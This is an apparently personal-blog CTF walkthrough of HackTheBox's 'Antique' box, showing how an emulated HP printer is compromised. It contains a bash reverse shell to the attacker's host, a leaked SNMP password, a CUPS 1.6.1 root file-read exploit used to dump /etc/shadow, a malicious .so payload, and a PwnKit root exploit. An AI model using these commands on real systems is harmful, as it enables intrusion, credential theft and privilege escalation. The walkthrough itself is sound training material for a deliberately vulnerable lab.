Antique released non-competitively as part of HackTheBox’s Printer track. It’s a box simulating an old HP printer. I’ll start by leaking a password over SNMP, and then use that over telnet to connect to the printer, where there’s an exec command to run commands on the system. To escalate, I’ll abuse an old instance of CUPS print manager software to get file read as root, and get the root flag. In Beyond Root, I’ll look at two more CVEs, another CUPS one that didn’t work because no actual printers were attached, and PwnKit, which does work.

Box Info

Name Antique Antique
Release Date 27 Sep 2021
Retire Date 20 Sep 2021
OS Linux Linux
Base Points Easy [20]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)


TCP nmap

nmap finds only one open TCP ports, telnet (23):

oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2022-05-02 00:47 UTC
Nmap scan report for
Host is up (0.097s latency).
Not shown: 65534 closed ports
23/tcp open  telnet

Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds
oxdf@hacky$ nmap -p 23 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2022-05-02 00:50 UTC
Nmap scan report for
Host is up (0.090s latency).

23/tcp open  telnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: 
|     JetDirect
|     Password:
|   NULL: 
|_    JetDirect
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 166.19 seconds

The string “JetDirect” jumps out as interesting in the telnet scan.

Telnet - TCP 23

I’ll use telnet to connect to Antique and it returns a banner for HP JetDirect and a password prompt:

oxdf@hacky$ telnet
Connected to
Escape character is '^]'.

HP JetDirect


Guessing the password admin closes the connection:

Password: admin
Invalid password
Connection closed by foreign host.

UDP nmap

Given the last of any other paths on TCP, I’ll check back to a UDP scan. Scanning for UDP can be both slow and unreliable. I do find -sV to make the results more reliable (and probably slower), but even just looking a the top ten ports finds something interesting on Antique:

oxdf@hacky$ sudo nmap -sU --top-ports 10 -sV
Starting Nmap 7.80 ( ) at 2022-05-02 10:22 UTC
Nmap scan report for
Host is up (0.090s latency).

53/udp   closed domain
67/udp   closed dhcps
123/udp  closed ntp
135/udp  closed msrpc
137/udp  closed netbios-ns
138/udp  closed netbios-dgm
161/udp  open   snmp         SNMPv1 server (public)
445/udp  closed microsoft-ds
631/udp  closed ipp
1434/udp closed ms-sql-m

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds

SNMP (UDP 161) is responding.

SNMP - UDP 161

Running snmpwalk on Antique will only return one entry:

oxdf@hacky$ snmpwalk -v 2c -c public
iso. = STRING: "HTB Printer"

However, this post on Hacking Network Printers suggests I can leak the password if I ask for a specific variable:

oxdf@hacky$ snmpwalk -v 2c -c public .
iso. = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 

The blog post says that these are hex representations of each byte. I’ll recognize that the numbers at the start of the list are in the hex ASCII range (0x20 - 0x7e), even if that ones at the end don’t make sense in that context.

I’ll drop into a Python shell and save the numbers as nums:

oxdf@hacky$ python
Python 3.8.10 (default, Mar 15 2022, 12:22:08) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> nums = "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135"

.split() will break the string into an array of strings, splitting at the spaces:

>>> nums.split()
['50', '40', '73', '73', '77', '30', '72', '64', '40', '31', '32', '33', '21', '21', '31', '32', '33', '1', '3', '9', '17', '18', '19', '22', '23', '25', '26', '27', '30', '31', '33', '34', '35', '37', '38', '39', '42', '43', '49', '50', '51', '54', '57', '58', '61', '65', '74', '75', '79', '82', '83', '86', '90', '91', '94', '95', '98', '103', '106', '111', '114', '115', '119', '122', '123', '126', '130', '131', '134', '135']

I’ll use a Python list comprehension to loop over each item and apply the int function, converting each to a number, using base 16 to convert from hex:

>>> [int(x, 16) for x in nums.split()]
[80, 64, 115, 115, 119, 48, 114, 100, 64, 49, 50, 51, 33, 33, 49, 50, 51, 1, 3, 9, 23, 24, 25, 34, 35, 37, 38, 39, 48, 49, 51, 52, 53, 55, 56, 57, 66, 67, 73, 80, 81, 84, 87, 88, 97, 101, 116, 117, 121, 130, 131, 134, 144, 145, 148, 149, 152, 259, 262, 273, 276, 277, 281, 290, 291, 294, 304, 305, 308, 309]

Now I’ll want each converted to an ASCII character using chr:

>>> [chr(int(x, 16)) for x in nums.split()]
['P', '@', 's', 's', 'w', '0', 'r', 'd', '@', '1', '2', '3', '!', '!', '1', '2', '3', '\x01', '\x03', '\t', '\x17', '\x18', '\x19', '"', '#', '%', '&', "'", '0', '1', '3', '4', '5', '7', '8', '9', 'B', 'C', 'I', 'P', 'Q', 'T', 'W', 'X', 'a', 'e', 't', 'u', 'y', '\x82', '\x83', '\x86', '\x90', '\x91', '\x94', '\x95', '\x98', 'ă', 'Ć', 'đ', 'Ĕ', 'ĕ', 'ę', 'Ģ', 'ģ', 'Ħ', 'İ', 'ı', 'Ĵ', 'ĵ']
>>> ''.join([chr(int(x, 16)) for x in nums.split()])

I’ll use ''.join() to combine the list of characters back into a single more readable string. Perhaps the password is “P@ssw0rd@123!!123”.

Shell as lp

Authenticated Telnet

I’ll try telnet again, this time with the potential password:

oxdf@hacky$ telnet
Connected to
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP

It worked!


The login message says that ? will show the help. I’ll try that:

> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session

Most of it is about configuring the printer, but the last one, exec is very interesting for my purposes. I’ll try running id:

> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)

That’s execution!

Reverse Shell

My go-to reverse shell is bash (see my video on how it works here). Given this is a printer, I’ll check if bash is on the box, and it is:

> exec which bash

I’ll start nc listening on my host using nc -lnvp 443, and the run the reverse shell on Antique:

> exec bash -c 'bash -i >& /dev/tcp/ 0>&1'

It just hangs, but at nc there’s a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 53188
bash: cannot set terminal process group (1014): Inappropriate ioctl for device
bash: no job control in this shell
lp@antique:~$ id 
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)

The script shell upgrade trick didn’t work for me (just messed up my terminal), but the Python one worked fine:

lp@antique:~$ python3 -c 'import pty;pty.spawn("bash")'
lp@antique:~$ ^Z
[1]+  Stopped                 nc -lnvp 444
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 444
reset: unknown terminal type unknown
Terminal type? screen
lp@antique:~$ ls  user.txt

I can access user.txt:

lp@antique:~$ cat user.txt

Shell as root


Home Directory

lp’s home directory is in a non-standard location:

lp@antique:~$ pwd

Regardless, it’s pretty empty:

lp@antique:~$ ls -la
ls -la
total 16
drwxr-xr-x 2 lp   lp   4096 Sep 27  2021 .
drwxr-xr-x 6 root root 4096 May 14  2021 ..
lrwxrwxrwx 1 lp   lp      9 May 14  2021 .bash_history -> /dev/null
-rwxr-xr-x 1 lp   lp   1959 Sep 27  2021
-rw------- 2 lp   lp     33 May  2 00:42 user.txt is the program that’s faking an HP telnet service. The process list (ps auxww) shows that script being run as lp, so not much value in looking to exploit it further:

lp          1024  0.0  0.2 239656 10920 ?        Sl   00:42   0:00 python3 /var/spool/lpd/

Listening Services

There’s one other port listening on Antique besides telnet:

lp@antique:~$ netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0    *               LISTEN      1024/python3        
tcp        0      0 *               LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -   

If I nc to that port and just put in some junk and hit enter, it returns a HTTP 400 Bad Request:

lp@antique:~$ nc 631
HTTP/1.0 400 Bad Request
Date: Mon, 02 May 2022 13:05:39 GMT
Server: CUPS/1.6
Content-Type: text/html; charset=utf-8
Content-Length: 346

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "">
        <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
        <TITLE>Bad Request - CUPS v1.6.1</TITLE>
        <LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
<H1>Bad Request</H1>

If I curl that port, it returns a page:

lp@antique:~$ curl                      
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "">
        <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
        <TITLE>Home - CUPS 1.6.1</TITLE>
        <LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
        <LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png">
<TABLE CLASS="page" SUMMARY="{title}"> 



To get a better look at the page, I’ll set up a tunnel so I can access it from my host, using Chisel (see this post for Chisel details). I’ll download the latest release from GitHub, decompress it, and start a Python webserver in that directory:

oxdf@hacky$ wget
--2022-05-02 13:21:41--
Resolving (
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: [following]
--2022-05-02 13:21:41--
Resolving (,,, ...
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3234355 (3.1M) [application/octet-stream]
Saving to: ‘chisel_1.7.7_linux_amd64.gz’

chisel_1.7.7_linux_amd64.gz                                                     100%[====================================================================================================================================================================================================>]   3.08M  9.65MB/s    in 0.3s    

2022-05-02 13:21:41 (9.65 MB/s) - ‘chisel_1.7.7_linux_amd64.gz’ saved [3234355/3234355]
oxdf@hacky$ gunzip chisel_1.7.7_linux_amd64.gz 
oxdf@hacky$ python3 -m http.server 80
Serving HTTP on port 80 ( ...

From Antique, I’ll fetch the binary:

lp@antique:/dev/shm$ wget              
--2022-05-02 13:23:19--        
Connecting to connected.                                  
HTTP request sent, awaiting response... 200 OK                             
Length: 8077312 (7.7M) [application/octet-stream]                            
Saving to: ‘chisel_1.7.7_linux_amd64’                                      

     0K .......... .......... .......... .......... ..........  0%  268K 29s
  7800K .......... .......... .......... .......... .......... 99% 2.52M 0s
  7850K .......... .......... .......... ........             100% 1.37M=2.8s

2022-05-02 13:23:22 (2.78 MB/s) - ‘chisel_1.7.7_linux_amd64’ saved [8077312/8077312]

On my host, I’ll run the same binary as the server:

oxdf@hacky$ ./chisel_1.7.7_linux_amd64 server -p 9000 --reverse
2022/05/02 13:29:45 server: Reverse tunnelling enabled
2022/05/02 13:29:45 server: Fingerprint nAhajozV41EjYejrhftqY6829U+uzLWqa/ESPyvCIFM=
2022/05/02 13:29:45 server: Listening on

-p 9000 sets that as the port to listen on (any port will do, but the default is 8080, which Burp is already using on my host), and --reverse allows for reverse tunnels, so that a client can open a listening port on my VM.

Now I’ll connect to it from Antique:

lp@antique:/dev/shm$ chmod +x chisel_1.7.7_linux_amd64
lp@antique:/dev/shm$ ./chisel_1.7.7_linux_amd64 client R:9631:localhost:631                                              
<x_amd64 client R:9631:localhost:631
2022/05/02 13:30:16 client: Connecting to ws://
2022/05/02 13:30:17 client: Connected (Latency 90.506923ms)

This tells chisel to connect to my VM on 9000, and to create a listening on my VM on 9631 (I can’t use ports under 1024 because I didn’t run the server as root). Any traffic that hits that listening port will be forwarded by chisel to Antique and then send to port 631 on Antique from Antique.

On my host, pointing Firefox at localhost:9631 loads the page.


The page is a CUPS page:


CUPS is an open-source printing system.

The “Administration” tab shows the printers that are connected (none), as well as jobs, classes, and other bits of administrative information.


The “Server” section has links to show various logs. If I try to edit and save the configuration file, it pops asking for auth, which I don’t have.

In the error log, I can see the request I made earlier:




Some Goolging for vulnerabilities in CUPs returns CVE-2012-5519, file read as root in CUPS 1.6.1, which matches the version here.

This article does a really nice job of both showing how to run the Metasploit module, and breaking down how it might fail.

Looking at the exploit source, it’s using cupsctl (saved in the ctl_path variable) in a current session to set the error log to a different file (datastore['FILE']):

cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")

Read Flag

The first thing I can do is get root.txt. I’ll set it as the error log:

lp@antique:~$ cupsctl ErrorLog=/root/root.txt

Now I’ll just request that same URL:

lp@antique:~$ curl

It works!

Shell Failures

I am able to read /etc/shadow to get the hashes of users on the filesystem:

lp@antique:/dev/shm$ cupsctl ErrorLog=/etc/shadow
lp@antique:/dev/shm$ curl

The only user with a hash is root. I can try to crack it using hashcat, putting that full line into a file (hash), and running:

$ /opt/hashcat-6.2.5/hashcat.bin hash /usr/share/wordlists/rockyou.txt --user

To run all of rockyou.txt will take over 8 hours, and it won’t find the password.

I’ll also check to see if there’s an SSH key in /root/.ssh/id_rsa, but the file doesn’t exist:

lp@antique:/dev/shm$ cupsctl ErrorLog=/root/.ssh/id_rsa
lp@antique:/dev/shm$ curl
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "">
        <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
        <TITLE>Not Found - CUPS v1.6.1</TITLE>
        <LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
<H1>Not Found</H1>

I will get a shell an unintended way in Beyond Root.

Beyond Root


In Googling for CUPS vulnerabilities, I’ll come across CVE-2015-1158, which is remote code execution in CUPS < 2.0.3, which could very well include 1.6.1.

This script is a POC, so I’ll give it a try.

Downloading it, it’s a Python2 script, and it takes a host, a port, and a library to run:

oxdf@hacky$ python2             ...[snip]...
python <args>
   -h, --help:             Show this message
   -a, --rhost:            Target IP address
   -b, --rport:            Target IPP service port
   -c, --lib               /path/to/
   -f, --stomp-only        Only stomp the ACL (no postex)

python -a -b 631 -f
python -a -b 631 -c /tmp/

I’ll create a simple .so file:


void __attribute__((constructor)) evil();

void main() {};

void evil() {
    system("touch /0xdf");

If this works, it will create a file at the filesystem root.

I’ll compile it:

oxdf@hacky$ gcc -shared -o -fPIC so.c 

And upload it to Antique using a Python webserver on my host and wget on Antique. Now, I’ll run the exploit through the tunnel:

oxdf@hacky$ python2 -a -b 9631 -c /tmp/
[*]     locate available printer
[-]     no printers

It fails because there are no printers available (something I noted above in the admin website).


Find Vulnerable

Something like LinPEAS will identify this host is vulnerable. This post from Datadog shows how to manually check by running dpkg -s policykit-1:

lp@antique:/dev/shm$ dpkg -s policykit-1
Package: policykit-1
Status: install ok installed
Priority: optional
Section: admin
Installed-Size: 560
Maintainer: Ubuntu Developers <>
Architecture: amd64
Multi-Arch: foreign
Version: 0.105-26ubuntu1.1
Depends: dbus, libpam-systemd, libc6 (>= 2.7), libexpat1 (>= 2.0.1), libglib2.0-0 (>= 2.37.3), libpam0g (>=, libpolkit-agent-1-0 (= 0.105-26ubuntu1.1), libpolkit-gobject-1-0 (= 0.105-26ubuntu1.1), libsystemd0 (>= 213)
 /etc/pam.d/polkit-1 7c794427f656539b0d4659b030904fe0
 /etc/polkit-1/localauthority.conf.d/50-localauthority.conf 2adb9d174807b0a3521fabf03792fbc8
 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf c4dbd2117c52f367f1e8b8c229686b10
Description: framework for managing administrative policies and privileges
 PolicyKit is an application-level toolkit for defining and handling the policy
 that allows unprivileged processes to speak to privileged processes.
 It is a framework for centralizing the decision making process with respect to
 granting access to privileged operations for unprivileged (desktop)
Original-Maintainer: Utopia Maintenance Team <>

The important line is:

Version: 0.105-26ubuntu1.1

According to this table from the Datadog post, that’s the last vulnerable version on Ubuntu 20.04 focal:



This box is actually vulnerable to PwnKit. I’ll download a POC exploit (I like this one from Joe Ammond here), and upload it to Antique. From there, it’s as simple as running the script:

lp@antique:/dev/shm$ python3
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=7(lp) groups=7(lp),19(lpadmin)